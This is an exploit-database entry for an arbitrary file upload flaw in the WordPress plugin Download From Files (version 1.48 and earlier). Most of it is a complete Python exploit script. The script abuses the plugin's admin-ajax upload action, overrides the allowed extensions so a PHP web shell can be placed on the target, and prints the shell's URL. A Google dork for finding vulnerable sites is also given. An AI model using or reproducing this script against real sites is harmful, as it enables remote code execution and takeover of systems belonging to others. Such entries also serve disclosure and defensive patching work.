WordPress Download From Files 1.48 Shell Upload

2021.09.18
Credit: spacehen
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-264

# Exploit Title: Wordpress Plugin Download From Files 1.48 - Arbitrary File Upload # Google Dork: inurl:/wp-content/plugins/download-from-files # Date: 10/09/2021 # Exploit Author: spacehen # Vendor Homepage: https://wordpress.org/plugins/download-from-files/ # Version: <= 1.48 # Tested on: Ubuntu 20.04.1 LTS (x86) import os.path from os import path import json import requests; import sys def print_banner(): print("Download From Files <= 1.48 - Arbitrary File Upload") print("Author -> spacehen (www.github.com/spacehen)") def print_usage(): print("Usage: python3 exploit.py [target url] [php file]") print("Ex: python3 exploit.py https://example.com ./shell.(php4/phtml)") def vuln_check(uri): response = requests.get(uri) raw = response.text if ("Sikeres" in raw): return True; else: return False; def main(): print_banner() if(len(sys.argv) != 3): print_usage(); sys.exit(1); base = sys.argv[1] file_path = sys.argv[2] ajax_action = 'download_from_files_617_fileupload' admin = '/wp-admin/admin-ajax.php'; uri = base + admin + '?action=' + ajax_action ; check = vuln_check(uri); if(check == False): print("(*) Target not vulnerable!"); sys.exit(1) if( path.isfile(file_path) == False): print("(*) Invalid file!") sys.exit(1) files = {'files[]' : open(file_path)} data = { "allowExt" : "php4,phtml", "filesName" : "files", "maxSize" : "1000", "uploadDir" : "." } print("Uploading Shell..."); response = requests.post(uri, files=files, data=data ) file_name = path.basename(file_path) if("ok" in response.text): print("Shell Uploaded!") if(base[-1] != '/'): base += '/' print(base + "wp-admin/" + file_name); else: print("Shell Upload Failed") sys.exit(1) main();


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